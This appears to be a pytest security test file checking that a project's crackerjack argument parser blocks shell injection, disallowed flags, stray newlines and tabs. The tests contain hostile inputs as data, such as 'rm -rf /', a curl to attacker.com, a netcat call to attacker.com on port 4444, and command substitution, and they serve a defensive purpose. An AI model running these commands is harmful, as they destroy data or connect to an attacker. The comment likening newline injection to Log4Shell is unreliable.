"""Command injection security tests for crackerjack args.
Tests for command injection prevention in crackerjack argument parsing.
"""
import pytest
from session_buddy.mcp.tools.session.crackerjack_tools import _parse_crackerjack_args
def test_parse_crackerjack_args_normal():
"""Test normal argument validation."""
# Should allow safe arguments
result = _parse_crackerjack_args("--verbose --quiet")
assert result == ["--verbose", "--quiet"]
def test_parse_crackerjack_args_empty():
"""Test empty args."""
result = _parse_crackerjack_args("")
assert result == []
def test_parse_crackerjack_args_injection_blocked():
"""Test shell injection attempts are blocked."""
# Should block shell metacharacters
with pytest.raises(ValueError, match="unsafe argument"):
_parse_crackerjack_args("; rm -rf /")
with pytest.raises(ValueError, match="unsafe argument"):
_parse_crackerjack_args("&& curl attacker.com")
with pytest.raises(ValueError, match="unsafe argument"):
_parse_crackerjack_args("| nc attacker.com 4444")
with pytest.raises(ValueError, match="unsafe argument"):
_parse_crackerjack_args("$(whoami)")
with pytest.raises(ValueError, match="unsafe argument"):
_parse_crackerjack_args("`reboot`")
def test_parse_crackerjack_args_disallowed_blocked():
"""Test disallowed arguments are blocked."""
# Should block arguments not in allowlist
with pytest.raises(ValueError, match="Blocked argument"):
_parse_crackerjack_args("--unknown-flag")
with pytest.raises(ValueError, match="Blocked argument"):
_parse_crackerjack_args("--config-file malicious.toml")
with pytest.raises(ValueError, match="Blocked argument"):
_parse_crackerjack_args("--malicious")
def test_parse_crackerjack_args_flags_preserved():
"""Test allowed flags are preserved correctly."""
# Test short flags
result = _parse_crackerjack_args("-v -q")
assert result == ["-v", "-q"]
# Test long flags
result = _parse_crackerjack_args("--verbose --no-color")
assert result == ["--verbose", "--no-color"]
# Test mixed flags
result = _parse_crackerjack_args("--strict --fix")
assert result == ["--strict", "--fix"]
def test_parse_crackerjack_args_mixed_with_injection():
"""Test mixed safe and unsafe arguments."""
# Should block even if mixed with safe args
with pytest.raises(ValueError, match="unsafe argument"):
_parse_crackerjack_args("--verbose && rm -rf /")
with pytest.raises(ValueError, match="Blocked argument"):
_parse_crackerjack_args("--strict --malicious-flag")
def test_parse_crackerjack_args_with_quotes():
"""Test shlex-based quote handling for flag VALUES."""
# Should handle quoted values correctly
result = _parse_crackerjack_args('--verbose --output "file with spaces.txt"')
assert result == ["--verbose", "--output", "file with spaces.txt"]
result = _parse_crackerjack_args('--verbose --severity "high level"')
assert result == ["--verbose", "--severity", "high level"]
def test_parse_crackerjack_args_unmatched_quotes():
"""Test unmatched quotes are rejected."""
# Should reject unmatched quotes
with pytest.raises(ValueError, match="Invalid argument syntax"):
_parse_crackerjack_args('--verbose "unmatched')
def test_parse_crackerjack_args_extended_allowlist():
"""Test extended production allowlist."""
# Production version allows more arguments
result = _parse_crackerjack_args("--coverage --failfast")
assert result == ["--coverage", "--failfast"]
result = _parse_crackerjack_args("--severity high")
assert result == ["--severity", "high"]
result = _parse_crackerjack_args("--debug --check")
assert result == ["--debug", "--check"]
def test_parse_crackerjack_args_newline_injection():
"""Test newline characters are blocked in arguments.
SECURITY: Newlines can be used to inject commands in shell contexts.
Risk: HIGH - newline injection can break command parsing.
CVE Reference: Similar to CVE-2021-44228 (Log4Shell newline injection)
"""
# Note: shlex.split() removes unescaped newlines, so we test that behavior
# Unix newline (gets removed by shlex)
result = _parse_crackerjack_args("--verbose\n--quiet")
assert result == ["--verbose", "--quiet"] # shlex strips the newline
# Carriage return - shlex splits it, but "malicious" is blocked by allowlist
with pytest.raises(ValueError, match="Blocked argument"):
_parse_crackerjack_args("--verbose\rmalicious")
# Multiple newlines with disallowed argument
with pytest.raises(ValueError, match="Blocked argument"):
_parse_crackerjack_args("\n\n\rmalicious") # Becomes ["malicious"], which is blocked
def test_parse_crackerjack_args_tab_injection():
"""Test tab characters are blocked in arguments.
SECURITY: Tabs can be used for argument confusion attacks.
Risk: HIGH - tabs can separate arguments in unexpected ways.
"""
# Tab character - shlex treats it as regular character, but our
# validation blocks it as "unsafe argument" or "Blocked argument"
with pytest.raises(ValueError, match="unsafe|Blocked argument"):
_parse_crackerjack_args("--verbose\tmalicious")
# Multiple tabs
with pytest.raises(ValueError, match="unsafe|Blocked argument"):
_parse_crackerjack_args("\t\tmalicious")
# Tab with newline
with pytest.raises(ValueError, match="unsafe|Blocked argument"):
_parse_crackerjack_args("--verbose\n\tmalicious")
def test_parse_crackerjack_args_argument_overflow():
"""Test extremely long arguments are rejected (DoS prevention).
SECURITY: Argument overflow can cause buffer overflows or DoS.
Risk: HIGH - long arguments can exhaust memory or cause crashes.
Reference: CWE-770 - Allocation of Resources Without Limits
"""
# 10KB argument (should be OK)
long_arg = "A" * 10_000
result = _parse_crackerjack_args(f"--output {long_arg}")
assert long_arg in result
# 100KB argument (potential DoS) - currently not enforced
# TODO: Add length limit in future version
long_arg = "A" * 100_000
result = _parse_crackerjack_args(f"--output {long_arg}")
assert long_arg in result